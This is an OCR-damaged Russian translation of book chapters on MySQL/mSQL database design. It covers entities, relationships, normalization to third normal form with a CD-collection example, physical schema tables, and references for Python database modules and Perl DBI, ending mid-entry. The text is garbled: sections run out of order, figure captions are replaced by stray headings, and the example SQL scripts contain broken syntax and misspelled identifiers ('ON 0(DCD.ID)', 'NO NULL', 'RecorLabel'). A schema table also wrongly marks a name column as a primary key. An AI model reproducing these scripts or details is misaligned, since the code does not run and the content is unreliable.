    Новички в моделировании данных часто делают ошибку, выбирая в качестве ID неподходящие атрибуты. Если, к примеру, у вас есть сущность Person (человек, лицо), может возникнуть соблазн выбрать в качестве идентификатора Name (фамилию), поскольку она есть у каждого лица и не меняется. Но что если лицо вступает в брак или законным образом хочет изменить фамилию? Или вы допустили ошибку при первоначальном вводе фамилии? При каждом из этих событий нарушается третье правило для идентификаторов. Еще хуже то, что фамилия окажется не уникальной. Если вы не можете стопроцентно гарантировать, что атрибут Name уникален, вы нарушаете первое правило для идентификаторов. Наконец, вы считаете, что у каждого экземпляра Person фамилия отлична от NULL. Но вы уверены, что всякий раз, вводя первоначальные данные в базу, будете знать фамилию? Ваш процесс может быть организован так, что при начальном создании записи фамилия может быть неизвестна. Из этого следует извлечь тот урок, что при выборе неидентифицирующего атрибута в качестве идентификатора возникает много проблем.


    Выход в том, чтобы изобрести идентифицирующий атрибут, не имеющий никакого иного смысла, кроме как служить идентифицирующим атрибутом. Поскольку этот атрибут искусственный и никак не связан с сущностью, мы имеем над ним полный контроль и можем обеспечить его соответствие правилам для уникальных идентификаторов. На рис. 2-4 к каждой из наших сущностей добавлен искусственный ID. На диаграмме уникальный идентификатор изображается как подчеркнутый атрибут.

    Нормализация

    Рис. 2-4. Сущности CD и Song со своими уникальными идентификаторами

    Связи

    Идентификаторы наших сущностей позволяют моделировать их связи. Связь описывает бинарное отношение между двумя сущностями. Связь может существовать также внутри одной сущности. Такая связь называется рекурсивной. Каждая сущность, участвующая в связи, описывает-другую и описывается ею. Каждая сторона связи имеет две составляющих - имя и степень.

    У каждой стороны связи есть имя, описывающее связь. Возьмем две гипотетические сущности — Служащий и Отдел. Один вариант связи между ними состоит в том, что Служащий "приписан" к Отделу. Этот Отдел "отвечает" за Служащего. Таким образом, связь со стороны Служащий называется "приписан", а со стороны Отдел - "отвечает".

    Степень, называемая также кардинальным числом, показывает, сколько экземпляров описывающей сущности должны описывать один экземпляр описываемой сущности. Степень выражается с помощью двух разных значений- "один-к-одному" (1) и "один-ко-многим" (М). Служащий приписан одновременно только к одному отделу, поэтому у сущности Служащий связь с сущностью Отдел "один-к-одному". В обратном направлении, отдел отвечает за многих служащих. Поэтому мы говорим, что у сущности Отдел связь с сущностью Служащий "один-ко-многим". В результате в Отделе может быть и только один Служащий.

    Иногда полезно выразить связь словами. Один из способов - вставить разные составляющие направления связи в следующую формулу:


    сущность1имеет [одну и только одну одну или много] сущностъ2

    Согласно этой формуле связь между Служащим и Отделом можно выразить так:

    Каждый Служащий должен быть приписан к одному и только одному

    Отделу.

    Каждый Отдел может отвечать одному или многим Служащим.

    Нормализация

    Рис. 2-5. Анатомия связи

    Нормализация

    Рис. 2-6. Связь CD-'Song

    Можно использовать эту формулу для описания сущностей в нашей модели данных. В каждом CD содержится много или одна Song, и каждая Song содержится хотя бы в одном CD. В нашей модели данных эту связь можно показать, проведя линию между двумя сущностями. Степень обозначается прямой линией для связи "один и только один" и "птичьей лапой" для связи "один-ко-многим>>. На рис. 2-5 показаны эти обозначения.

    Как это применимо к связи между Song и CD? На практике Song может содержаться на многих CD, но для нашего примера мы этим пренебрежем. На рис. 2-6 показана модель данных с обозначенными связями.

    Прочно установив связи, мы можем вернуться к процессу нормализации и опять улучшить нашу схему. Пока мы лишь нормализовали повторяющиеся песни, преобразовав их в отдельную сущность, и смоделировали связь между ней и сущностью СD.

    Вторая нормальная форма (2NF)

    Говорят, что сущность находится во второй нормальной форме, если она уже находится в первой НФ, и каждый неидентифицирующий атрибут зависит от всего уникального идентификатора сущности. Если некий атрибут не зависит полностью от уникального идентификатора сущности, значит, он внесен ошибочно и должен быть удален. Нормализуйте такой атрибут либо найдя сущность, к которой он относится, либо создав новую сущность, в которую он должен быть помещен.

    Нормализация

    Рис. 2-7. Модель данных с новой сущностью Artist

    В нашем примере "Herbie Hancock" является Band Name (названием ансамбля) для двух разных CD. Это показывает, что Band Name не полностью зависит от идентификатора CD ID. Это дублирование представляет собой проблему, поскольку если мы допустили ошибку при вводе "Herbie Hancock", придется исправлять значение в нескольких местах. Это указывает нам, что Band Name должно быть частью новой сущности, связанной с CD. Как и раньше, мы решаем эту задачу, задав вопрос: "Что описывает название ансамбля?" Оно описывает ансамбль, или, вообще говоря, исполнителя. Исполнитель - еще один объект, о котором мы собираем данные, и потому, возможно, является сущностью. Мы добавим его к нашей схеме с атрибутом Band Name. Поскольку исполнитель может не быть ансамблем, мы переименуем атрибут как Artist Name. На рис. 2-7 показано новое состояние модели.


    Правда, не показаны связи для новой таблицы исполнителей. Ясно, что у каждого Artist может быть один или много CD. У каждого CD может быть один или несколько Artist. Это показано на рис. 2-8.

    Нормализация

    Рис. 2-8. Связи сущности Artist в модели данных

    Вначале мы присвоили атрибут Band Name сущности CD. Поэтому было естественным установить прямую связь между Artist и CD. Но верно ли это? При ближайшем рассмотрении оказывается, что следует установить прямую связь между Artist и Song. У каждого Artist есть одна или много Song. Каждая Song исполняется одним и только одним Artist. Правильные связи показаны на рис. 2-9.

    Это не только более разумно, чем связь между Artist и CD, но и решает проблему дисков-сборников.

    Нормализация

    Рис. 2-9. Подлинная связь между Artist и остальной частью модели данных

    Виды связей

    При моделировании связей между сущностями важно определить оба направления связи. После определения обеих сторон связи мы приходим к трем основным видам связей. Если оба конца связи имеют степень "один и только один", то связь называется "один-к-одному". Как мы позднее убедимся, связи "один-к-одному" встречаются редко. В нашей модели данных их нет.

    Если одна сторона имеет степень "один или много", а другая сторона имеет степень "один и только один", то это связь "один-ко-многим" или "1-к-М". Все связи в нашей модели - это связи "один-ко-многим". Этого можно было ожидать, поскольку связи "один-ко-многим" наиболее распространены.

    И наконец, последний тип связей - когда обе стороны имеют степень "один-ко-многим". Такого типа связи называются "многие-ко-мно-гим", или "М-к-М". В предыдущей версии нашей модели данных связь Artist-CD имела тип "многие-ко-многим".

    Уточнение.связей

    Как отмечалось ранее, связи "один-к-одному" очень редки. На практике, если в процессе моделирования вы столкнетесь с такой связью, следует внимательнее изучить свой проект. Такая связь может означать, что две сущности являются на самом деле одной, и если это так, их следует объединить в одну.


    Связи "многие-ко-многим" встречаются чаще, чем "один-к-одному". В этих связях часто есть некоторые данные, которыми мы хотим охарактеризовать связь. Взглянем, например, на предыдущую версию нашей модели данных на рис. 2-8, в которой была связь "многие-ко-многим" между Artist и CD. Artist имеет связь с CD, поскольку у исполнителя есть одна или несколько Song на этом CD. Модель данных на рис. 2-9 фактически является другим представлением этой связи "многие-ко-многим".

    Все связи "многие-ко-многим" нужно разрешать с помощью следующей технологии:

  • Создайте новую сущность, иногда называемую сущностью-связкой. Назовите ее подходящим образом. Если вы не можете придумать подходящее название, образуйте его из сочетания имен связываемых сущностей, например ArtistCD. В нашей модели Song является сущностью-связкой для связи Artist-CD.

  • Свяжите новую сущность с двумя исходными. Каждая из исходных сущностей должна иметь связь "один-ко-многим" с сущностью-связкой.

  • Если в новой сущности нет очевидного уникального идентификатора, введите в нее идентифицирующие атрибуты исходных сущностей и сделайте эту пару уникальным идентификатором новой сущности.

    Почти всегда обнаружатся дополнительные атрибуты, принадлежащие новой сущности. Если это не так, то все равно необходимо разрешить связь "многие-ко-многим", иначе возникнут проблемы при переводе вашей модели данных в физическую схему.

    Нормализация

    Рис. 2-10. Наша модель данных во второй нормальной форме

    Еще о 2NF

    Наша модель все еще не приобрела вторую нормальную форму. Значение атрибута Record Label (фирма звукозаписи) имеет только одно значение для каждого CD, но одно и то же значение его присутствует в нескольких СD. Ситуация сходна с той, которая была с атрибутом Band Name. И точно так же дублирование указывает на то, что Record Label должна быть частью отдельной сущности. Каждая Record Label выпускает один или много CD. Каждый CD выпускается одной и только одной Record Label. Модель этой связи представлена на рис. 2-10.


    Третья нормальная форма (3NF)

    Сущность находится в третьей нормальной форме, если она уже находится во второй нормальной форме и ни один неидентифицирующий атрибут не зависит от каких-либо других неидентифицирующих атрибутов. Атрибуты, зависящие от других неидентифицирующих атрибутов, нормализуются путем перемещения зависимого атрибута и атрибута, от которого он зависит, в новую сущность.

    Если бы мы пожелали отслеживать адрес Record Label, то столкнулись бы с проблемами для третьей нормальной формы. В сущности Record Label должны быть атрибуты State Name (название штата) и State Abbreviation (сокращенное название штата). Хотя для учета CD эти данные и не нужны, мы добавим их к нашей модели для иллюстрации проблемы. На рис. 2-11 показаны адресные данные в сущности Record Label.

    Нормализация

    Рис. 2-11. Адресная информация о фирме звукозаписи в нашей базе данных

    Значения State Name и State Abbreviation удовлетворяют первой нормальной форме, поскольку имеют только одно значение в каждой записи сущности Record Label. Проблема в том, что State Name и State Abbreviation взаимозависимы. Иными словами, поменяв State Abbreviation для какой-либо Record Label, мы вынуждены будем также изменить State Name. Мы произведем нормализацию, создав сущность State с атрибутами State Name и State Abbreviation. На рис. 2-12 показано, как связать эту новую сущность с сущностью Record Label.

    Теперь, получив третью нормальную форму, мы можем сказать, что наша модель данных нормализована. Существуют и другие нормальные формы, имеющие значение с точки зрения проектирования баз данных, но их рассмотрение находится за пределами нашей книги. В большинстве случаев третьей нормальной формы достаточно, чтобы гарантировать правильность проекта базы данных.

    Нормализация

    Рис. 2-12. Модель данных в третьей нормальной форме



    Проектирование баз данных

    Предположим, у вас есть большая коллекция компакт-дисков, и вы хотите создать базу данных, чтобы отслеживать ее. Прежде всего, нужно определить, какие данные вы собираетесь хранить. Неплохо начать с того, чтобы подумать, а зачем, собственно, вам хранить эти данные. В нашем случае мы, скорее всего, хотим иметь возможность найти диск по исполнителю, названию и песне. Раз мы хотим искать эти пункты, они должны быть включены в базу данных. Помимо того, часто полезно просто перечислить пункты, которые нужно отслеживать. Возможен такой список: название CD, фирма звукозаписи, название ансамбля, название песни. В качестве отправной точки выберем для хранения данных таблицу, представленную как таблица 2-1.

    Таблица 2-1. База данных CD, состоящая из одной таблицы




    Band Name


    CD Title


    Record Label


    Songs

    Stevie Wonder Talking Book Motown You Are the Sunshine of My Life, Maybe Your Baby, Superstition, . . .

    Miles Davis Quintet


    Miles Smiles


    Columbia


    Orbits, Circle, . . .


    Wayne Shorter


    Speak No Evil


    Blue Note


    Witch Hunt, Fee-Fi-Fo-Fum


    Herbie Hancock


    Headhunters


    Columbia


    Chameleon, Watermelon Man, . . .


    Herbie Hancock


    Maiden Voyage


    Blue Note


    Maiden Voyage


    (Для краткости мы опустили большую часть -песен.) На первый взгляд, эта таблица нам подходит, поскольку в ней есть все необходимые данные. При более близком рассмотрении, однако, мы сталкиваемся с некоторыми проблемами. Возьмем, к примеру, Herbie Hancock. Название ансамбля повторяется дважды - для каждого CD. Это повторение неприятно по нескольким причинам. Во-первых, при вводе данных нам приходится вводить одно и то же несколько раз. Во-вторых, что более важно, при изменении каких-либо данных приходится изменять их в нескольких местах. Что если, к примеру, в Herbie вкралась орфографическая ошибка? Пришлось бы исправлять данные в двух строках. Та же проблема возникнет, если имя Herbie Hancock в будущем изменится (а ля Jefferson Airplane или John Cougar). С добавлением к нашей коллекции новых дисков Herbie Hancock увеличивается объем работы, необходимой для поддержания непротиворечивости данных.


    Другая проблема, вызванная наличием в базе данных всего одной таблицы, связана с тем, как хранятся названия песен. Мы храним их, как список песен, в одной колонке. Мы столкнемся с кучей проблем, если попытаемся разумно использовать эти данные. Представьте себе, как мы будем вводить и поддерживать этот список песен. А что если мы захотим хранить еще и длительность песен? Или пожелаем осуществлять поиск по названию песни? Довольно быстро становится ясно, что хранить песни в таком виде нежелательно.

    Вот тут начинает играть свою роль проектирование баз данных. Одна из важнейших задач проектирования баз данных - устранение из нее избыточности. Для этого используется прием, называемый нормализацией. Прежде чем приступить к нормализации, обсудим некоторые фундаментальные понятия реляционных баз данных. Модель данных -это диаграмма, показывающая конструкцию вашей базы данных. Она состоит из трех основных элементов - сущностей, атрибутов и связей. Пока остановимся на сущностях и атрибутах, а о связях поговорим позднее.

    Сущности в базе данных

    Сущность - это важная вещь или объект, сведения о котором нужно сохранить. Не все вещи являются сущностями, а только те, данные о которых должны быть сохранены. Сведения о сущностях имеют вид атрибутов и/или связей. Если некий кандидат на то, чтобы быть сущностью, не имеет атрибутов или связей, в действительности он не является сущностью. В модели базы данных сущности представляются в виде прямоугольника с заголовком. Заголовок является именем сущности.

    Атрибуты сущности

    Атрибут описывает данные о сущности, которые нужно сохранить. У каждой сущности ноль или более атрибутов, описывающих ее, и каждый атрибут описывает в точности одну сущность. Каждый экземпляр сущности (строка таблицы) имеет в точности одно значение, возможно, равное NULL, для каждого из своих атрибутов. Значение атрибута может быть числом, строкой символов, датой, временем или другим базовым значением данных. На первом этапе проектирования базы данных, логическом моделировании, нас не заботит то, каким образом будут храниться данные.


    Проектирование баз данныхNULL лежит в основе проблемы, связанной с отсутствующей информацией. Он специально используется тогда, когда какая-то часть данных отсутствует. Рассмотрим, к примеру, ситуацию, когда на CD нет данных о длительности каждой песни. У каждой песни есть длительность, но, глядя на коробку, вы не можете сказать, какова она. Хранить длительность как О нежелательно, поскольку это было бы неверно. Вместо этого вы записываете длительность как NULL. Если вы считаете, что можно сохранить ее как 0 и использовать 0 для обозначения "неизвестной длины", то можете попасть в одну из тех западней, которые привели к проблеме 2000-го года. В старых системах не только год хранится как две цифры, но и придается особое значение величине 9-9-99.

    В нашем примере база данных ссылается на ряд объектов - CD, название CD, название ансамбля, песни и название фирмы звукозаписи. Какие из них являются сущностями, а какие - атрибутами?

    Модель данных

    Обратите внимание, что мы определяем несколько видов данных (название CD, название ансамбля и т. д.), относящихся к каждому CD, и без которых описать CD совершенно невозможно. Поэтому CD является одним из тех объектов, которые мы хотим описать, и, похоже, является сущностью. Начнем разработку модели данных с изображения CD как сущности. На рис. 2-1 показана наша единственная сущность в модели данных.

    Проектирование баз данных

    Рис. 2-1. Сущность "CD" в модели данных

    По общепринятому соглашению об именовании сущностей имя сущности должно быть в единственном числе. Поэтому мы называем таблицу, в которой хранятся CD "CD", а не "CDs". Мы используем это соглашение, поскольку каждая сущность дает имя экземпляру. Например, "San Francisco 49ers" является экземпляром сущности "Футбольная команда", а не "Футбольные команды".

    На первый взгляд кажется, что оставшаяся часть базы данных описывает CD. Это указывает на то, что она содержит атрибуты CD. На рис. 2-2 они добавлены к сущности CD рис. 2-1. В модели данных атрибуты представлены как имена, перечисленные в прямоугольнике сущности.

    Эта диаграмма проста, но мы еще не закончили. В действительности, мы только начали. Ранее мы говорили, что целью моделирования данных является устранение избыточности с помощью приема, называемого нормализацией. У нашей базы данных прекрасная диаграмма, но мы не покончили с избыточностью, как намеревались. Пора нормализовать нашу базу данных.

    Проектирование баз данных

    Рис. 2-2. Сущность "CD" с атрибутами



    Проектирование физической базы данных

    С какой целью мы создавали логическую модель данных? Вам нужно создать базу данных, чтобы хранить информацию о CD. Модель данных - это только промежуточный шаг. В конечном итоге вы хотели бы получить базу данных MySQL или mSQL, в которой можно хранить данные. Как это сделать? При проектировании физической базы данных логическая модель переводится в набор операторов SQL, которые определяют вашу базу данных MySQL или mSQL.

    Поскольку MySQL и mSQL являются реляционными базами данных, относительно несложно перевести логическую модель, подобную описанной, в физическую базу данных MySQL или mSQL. Вот правила перевода:

  • Объекты становятся таблицами в физической базе данных.

  • Атрибуты становятся колонками в физической базе данных. Для каждой колонки нужно выбрать подходящий тип данных.

  • Уникальные идентификаторы становятся колонками, не допускающими значение NULL. В физической базе данных они называются первичными ключами (primary keys). Вы можете также пожелать создать уникальный индекс по идентификатору, чтобы обеспечивать уникальность. Учтите, что в mSQL нет понятия первичного ключа, есть просто уникальные индексы. К MySQL это не относится.

  • Отношения моделируются в виде внешних ключей (foreign keys). Мы коснемся их позднее.

    Применив эти правила к нашей модели (исключая адресную информацию по фирмам звукозаписи), получим физическую базу данных, представленную в таблице 2-2.

    Таблица 2-2. Определения физических таблиц для базы, данных CD



    Таблица


    Колонка


    Тип данных


    Примечания


    CD


    CDId


    INT


    primary key





    CDTitle


    TEXT(50)





    Artist


    Artistld


    INT


    primary key





    ArtistName


    TEXT(50)





    Song


    Songld


    INT


    primary key





    SongName


    TEXT(50)





    RecordLabel


    RecordLabelld


    INT


    primary key





    RecordLabelName


    TEXT(50)


    primary key


    Первое, на что вы можете обратить внимание: в нашей физической схеме из всех названий объектов удалены пробелы. Это вызвано тем, что названия нужно преобразовать в вызовы SQL, создающие таблицы, поэтому названия таблиц должны удовлетворять правилам SQL для образования имен. Кроме того, все первичные ключи мы сделали типа INT. Поскольку эти атрибуты искусственные, мы можем приписать им любой индексируемый тип. То, что они имеют тип INT, почти полностью результат нашего произвола. Почти, поскольку на практике поиск по числовым полям в большинстве баз данных осуществляется быстрее, и поэтому выгодно назначать первичными ключами числовые поля. Однако мы могли бы выбрать для ключевых полей тип CHAR, и все работало бы прекрасно. Выбор должен основываться на ваших критериях выбора идентификаторов.


    Для остальных колонок установлен тип TEXT с длиной 50. Такое определение годится и для MySQL, и для mSQL. Для MySQL, впрочем, лучше было бы выбрать VARCHAR, но это несущественно для нашего примера. Выбор правильного типа данных для колонок очень важен, но мы не будем сейчас на этом останавливаться, поскольку не касались еще типов данных, поддерживаемых MySQL и mSQL.

    Теперь у нас есть отправная точка для физической схемы. Мы еще не перевели отношения в физическую модель данных. Как указывалось ранее, после уточнения логической модели у вас должны остаться отношения типа "один-к-одному" и "один-ко-многим" - отношения "М-к-М" разрешаются через таблицы-связки. Отношения моделируются путем добавления внешних ключей к одной из участвующих в них таблиц. Внешний ключ - это уникальный идентификатор или первичный ключ таблицы на другом конце отношения.

    Позднее мы коснемся типов данных, поддерживаемых MySQL и mSQL. В каждой из них свои правила относительно того, какие типы данных можно индексировать. Ни в одной из них, например, нельзя индексировать поля типа TEXT. Поэтому недопустимо иметь колонку первичного ключа типа TEXT.

    Чаще всего отношение имеет тип "1-к-М". Ему соответствует первичный ключ со стороны "1", помещенный в таблицу на стороне "многие". В нашем примере это означает, что нужно сделать следующее:

  • Поместить колонку RecordLabelId в таблицу CD.

  • Поместить колонку CDId в таблицу Song.

  • Поместить колонку Artistic! в таблицу Song. Полученная схема показана в таблице 2-3.

    Таблица 2-3. Физическая модель данных для базы данных CD



    Таблица



    Колонка



    Тип данных



    Примечания



    CD



    Cdld



    INT



    primary key







    CDTitle



    TEXT(50)











    RecordLabelld



    INT



    foreign key



    Artist



    Artistld



    INT



    primary key







    ArtistName



    TEXT(50)







    Song



    Songld



    INT



    primary key







    SongName



    TEXT(50)











    Cdld



    INT



    foreign key







    Artistld



    INT



    foreign key



    RecordLabel



    RecordLabelld



    INT



    primary key







    RecordLabelName



    TEXT(50)





    <


    В нашей модели нет связей типа "один-к-одному". Если бы они были, то нужно было бы взять одну из таблиц и ввести в нее колонку внешнего ключа, соответствующую первичному ключу другой таблицы. Теоретически не важно, которую из таблиц вы выберете, но практические соображения могут определять, какую из колонок лучше сделать внешним ключом.

    Теперь у нас есть полная физическая схема базы данных. Осталось перевести эту схему на SQL. Для каждой таблицы в схеме вы пишете одну команду CREATE TABLE. Обычно для поддержки уникальности создается уникальный индекс по первичным ключам.

    В некотором смысле мы сейчас забегаем вперед. Вы, возможно, не знакомы с SQL, а в задачи данной главы не входит знакомство с версиями SQL, поддерживаемыми MySQL и mSQL. Все же, вот два простых сценария для создания базы данных CD. Первый сценарий, пример 2-1, составлен для MySQL, пример 2-2 — для mSQL.

    Пример 2-1. Сценарий создания базы данных CD в MySQL

    CREATE TABLE CD (CDID INT NOT NULL,

    RECORD_LABEL_I INT, CD_TITLE TEXT, PRIMARY KEY (CD_ID))

    CREATE TABLE Artist (ARTIST_ID INT NOT NULL, ARTIST_NAMETEXT,

    PRIMARY KEY (ARTIST_ID)) CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT, SONG_NAME TEXT, PRIMARY KEY (SONG_ID))

    CREATE TABLE RecorLabel(RECORD LABEL_ID INT NOT NULL, RECORD_LABEL_NAME TEXT, PRIMARY KEY(RECORD_LABEL_ID))

    Пример 2-2. Сценарий создания базы данных CD в mSQL

    CREATE TABLE CD (CD_ID INT NOT NULL,

    RECORD_LABEL_IDINT, CD_TITLE TEXT(50))

    CREATE UNIQUE INDEX CD_IDX ON 0(DCD.ID)

    CREATE TABLE ArtistARTIST_ID INT NO NULL,

    ARTIST_NAMETEXT(50))

    CREATE UNIQUE INDEX Artist_IDX ON Artist (ARTIST_ID)

    CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT,

    SONG_NAME TEXT(50))

    CREATE UNIQUE INDEX Song_IDX ON Song (SONG_ID)

    CREATE TABLE RecordLabel (RECORD_LABEL_IDINT NOT NULL,

    RECORD_LABEL_NAMEEXT(50))

    CREATE UNIQUE INDEX RecordLabel_IDX

    ON RecordLabel(RECORD_LABEL_ID)

    Модели данных разрабатываются так, чтобы не зависеть от базы данных. Поэтому вы можете взять технику и модель данных, созданную в этой главе, и применить ее не только к MySQL и mSQL, но и к Oracle, Sybase, Ingres и любой другой РСУБД. В следующих главах мы подробно обсудим, как соединить ваши новые знания о проектировании баз данных с MySQL и mSQL.

    В действительности есть несколько модулей

    Справочник по Python

    В действительности есть несколько модулей Python, предоставляющих доступ к базам данных MySQL и mSQL. В большинстве аспектов они очень схожи между собой. В этой главе приводятся спецификации API для двух наиболее часто используемых модулей. Однако важно указать на приближающуюся унификацию разных API для баз данных в едином API, специфицированном Python Database SIG. В настоящее время mSQL не поддерживает этот API.



    Модуль: mSQL

    Модуль mSQL очень похож на модуль MySQL. Точкой входа в модуль является метод mSQL.connect(). Возвращаемое им значение представляет подключение к базе данных mSQL, которое вы можете использовать для всех операций с mSQL.

    Метод: mSQL.connect()

    Запись

    connection - mSQL.connect()
    connection - mSQL.connect(host)

    Краткий обзор

    Подключается к базе данных mSQL на указанном сервере. Если вы не укажете аргументов, будет выполнено подключение к базе данных на локальном компьютере. Метод возвращает описатель подключения к mSQL, который вы можете использовать для доступа к базе данных.

    Пример

    connection = mSQL.connect('carthage.imaginary, com')

    Метод: cormection.selectdb()

    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает имя базы данных для вашего подключения. Все дальнейшие операции с подключением будут относиться к выбранной базе данных до тех пор, пока вы не укажете новую базу данных.

    Пример

    connection.selectdb('test');

    Метод: connection.query()

    Запись

    results = connection. query(sq1)

    Краткий обзор

    Посылает на выполнение в текущую выбранную базу данных указанную команду SQL. Результат возвращается как список кортежей, где каждый кортеж представляет одну запись. Этот метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.query('SELECT title, year FROM movies');
    rowl = results[0];

    Метод: connection.listdbs()

    Запись

    dbs - connection. listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()
    Запись

    connection.listtables()

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn.listtables()

    Атрибут: connection.serverinfo

    Краткий обзор

    Возвращает версию сервера mSQL, с которым установлено соединение.

    Пример

    info = connection.serverinfo;

    Атрибут: connection.hostname
    Краткий обзор

    Возвращает имя сервера, на котором запущен сервер mSQL.

    Пример

    host = connection.hostname

    Модуль: MySQL

    Точкой входа в модуль Python для MySQL является метод MySQL.connect(). Значение, возвращаемое этим методом, представляет подключение к серверу MySQL, которое вы можете использовать для всех операций с MySQL.

    Метод: MySQL.connect()
    Запись

    connection = MySQL.connect(host)

    Краткий обзор

    Подключается к базе данных MySQL на указанном сервере. Если вызвать connect() без аргументов, будет выполнено подключение к базе данных MySQL на локальном компьютере. Метод возвращает объект Python, представляющий подключение к базе данных MySQL.

    Пример

    conn = MySQL.connect('carthage.irnaginary.com');

    Метод: connection.selectdb()
    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает базу данных, с которой вы собираетесь работать.

    Пример

    connection. selectdb('test');

    Метод:
    connection.do()
    Запись

    results = connection.do(sql)

    Краткий обзор

    Посылает на выполнение указанную команду SQL в текущую выбранную базу данных. Результаты возвращаются как список списков, где каждый список представляет одну запись. Метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.do('SELECT title, year FROM movies');
    row1 = results[0];

    Метод: connection.query()
    Запись

    statement_handle = connection. query(sgl)
    Краткий обзор

    Как и метод do(), этот метод посылает указанную SQL-команду текущей выбранной базе данных. Отличие этого метода от do() заключается в том, что он возвращает объект - описатель команды, который инкапсулирует информацию о результате запроса SQL, также как и сами результаты.

    Пример

    hndl = conn. query(' SELECT title, year FROM movies');
    Метод: statement_handle.affectedrows()
    Запись

    rowcount = statement_handle.affectedrows()
    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команд SQL UPDATE, DELETE или INSERT, данный метод возвращает число записей, реально измененных этим запросом.

    Пример

    rowcount = hnd1.affectedrows()


    Метод: statement_handle.numrows()

    Запись

    rowcount = statement_handle.numrows()

    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команды SELECT, данный метод выдает число записей в результирующем наборе.

    Пример

    rowcount = hndl. numrows()

    Метод: statement_handle.fields()

    Запись

    list = statement_handle.fields()

    Краткий обзор

    Предоставляет метаинформацию о столбцах в результате, возвращаемом запросом. Полученный список является списком списков. Каждый элемент возвращаемого списка - это список с метаинформацией об отдельном столбце. Другими словами, в возвращаемом списке будет один элемент для каждого столбца в результирующем наборе. Первый элемент списка представляет первый столбец, второй элемент - второй столбец и т. д.

    Метаданные для каждого столбца являются списком из пяти элементов:

  • Строка, содержащая имя столбца.

  • Строка, содержащая имя таблицы, откуда взят столбец.

  • Строка с названием типа данных SQL для этого столбца.

  • Целое int, содержащее размер столбца.

  • Строка, содержащая модификаторы столбца, такие как NOTNULL.

    Пример

    flds = hndl.fields();

    for column in fids: name = column[0];

    table = column[1]; type = column[2];

    size = columns[3]; mods = column[4];

    Метод: statement_handle.fetchrows()

    Запись

    list = statement_handle.fetchrows(rownum)

    Краткий обзор

    Выбирает значение записи с указанным номером из результирующего набора, представленного описателем команды. Если в качестве аргумента передать —1, этот метод вернет список со всеми записями. Каждая запись в этом списке представлена списком с количеством элементов, равным числу столбцов в результирующем наборе. Первый элемент списка представляет значение первого столбца, второй элемент представляет второй столбец и т. д.

    Пример

    rows = hndl.fetchrows(-l);

    for row in rows:

    coll = row[0]; со12 = row[1];

    Метод: connection.listdbs()

    Запись

    dbs = connection.listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()

    Запись

    tables = connection. listtables();

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn. listtables();



    DBI.pmAPI

    DBI API является стандартным API баз данных в Perl. Поэтому, хотя MsqPerl и MysqlPerl могут быть более распространены в унаследованных программах, новые программы следует писать с использованием DBI.

    use

    use DBI;

    Следует объявлять во всех программах Perl, использующих модуль DBI.

    DBI::available_drivers

    @available_drivers = DBI->available_drivers;
    @available_drivers = DBI->available_drivers($quiet);

    DBI: :available_drivers возвращает список имеющихся драйверов DBD. Функция выполняет это, осуществляя поиск модулей DBD в дистрибуции Perl. Если в аргументе не передано значение true, то при обнаружении двух одноименных модулей DBD выводится предупреждение. В текущем дистрибутиве Msql-Mysql драйвер для mSQL называется 'mSQL', а драйвер для MySQL - 'mysqP.

    Пример

    use DBI;

    my @drivers = DBI->available_drivers;

    print "Доступны следующие драйверы:\n" . join("\n",@drivers) . "\n Ho нас интересуют только mSQL и mysql. :)\n";

    DBI::bind_col

    $result = $statement_handle->bind_col($col_num, \$col_variable, \%unused);

    DBI: :bind_col связывает колонку команды SELECT с переменной Perl. При всяком чтении или изменении колонки изменяется значение соответствующей переменной. Первым аргументом является номер колонки в команде, при этом колонки нумеруются с 1. Второй аргумент — ссылка на переменную Perl, которая должна быть привязана к колонке. Необязательный третий аргумент ссылается на хэш атрибутов. В DBD: :mysql и DBD: :mSQL он не используется. При невозможности в силу каких-то причин сделать привязку функция возвращает неопределенное значение undef.

    Пример

    use OBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef,undef);
    my $query = "SELECT name, date FROM myothertable";
    my $myothertable_output = $db->prepare($query);

    my ($name, $date);

    $myothertable_output->bind_col(1,\$name,undef);

    $myothertable_output"bind_col(2, \$date, undef);

    # Теперь $name и Sdate привязаны к соответствующим полям выходных данных.


    $myothertable_output->execute;

    while ($myothertable_output->fetch) {

    # Каждый раз $name и $date автоматически изменяются.

    print "Имя: $name Дата: $date\n"; }

    DBI::bmd_columns

    $result = $statement_handle->bincl_columns(\%unused, @list_of_refs_to_vars);

    DBI: : bind_columns привязывает весь список скалярных ссылок к значениям соответствующих полей в выдаче. Первый аргумент функции -ссылка на хэш атрибутов, как в DBI: :bind_col . DBD::mSQL и DBD::mysql не используют этот аргумент. Последующие аргументы должны быть ссылками на скаляры. Скаляры можно с таким же успехом группировать в структуру \($var1, $var2) . Ссылок на скаляры должно быть ровно столько, сколько полей в выходных результатах, иначе выполнение программы будет прекращено.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my $myothertable_oulput = $db->prepare($query);

    my ($name, $date);

    $mynfhertable_outpul->bind_columns(undef, \($name, $daLe));

    # $name и $date теперь привязаны к соответствующим полям в выдаче,

    $myothertable_output->execute;

    while ($myothertable_output->fetch)

    {

    # $name и $date каждый раз автоматически изменяются.

    print "Имя: $name Дата: $date\n";

    }

    DBI::bind_param

    $result = $statement_handle->bind_param($param_number, $bind_value);

    $result = $statement_handle->bind_param($param_number, $bind_value, $bind_type);

    $result = $statenent_handle->bind_param($param_number, $bind_value, \%bind_type);

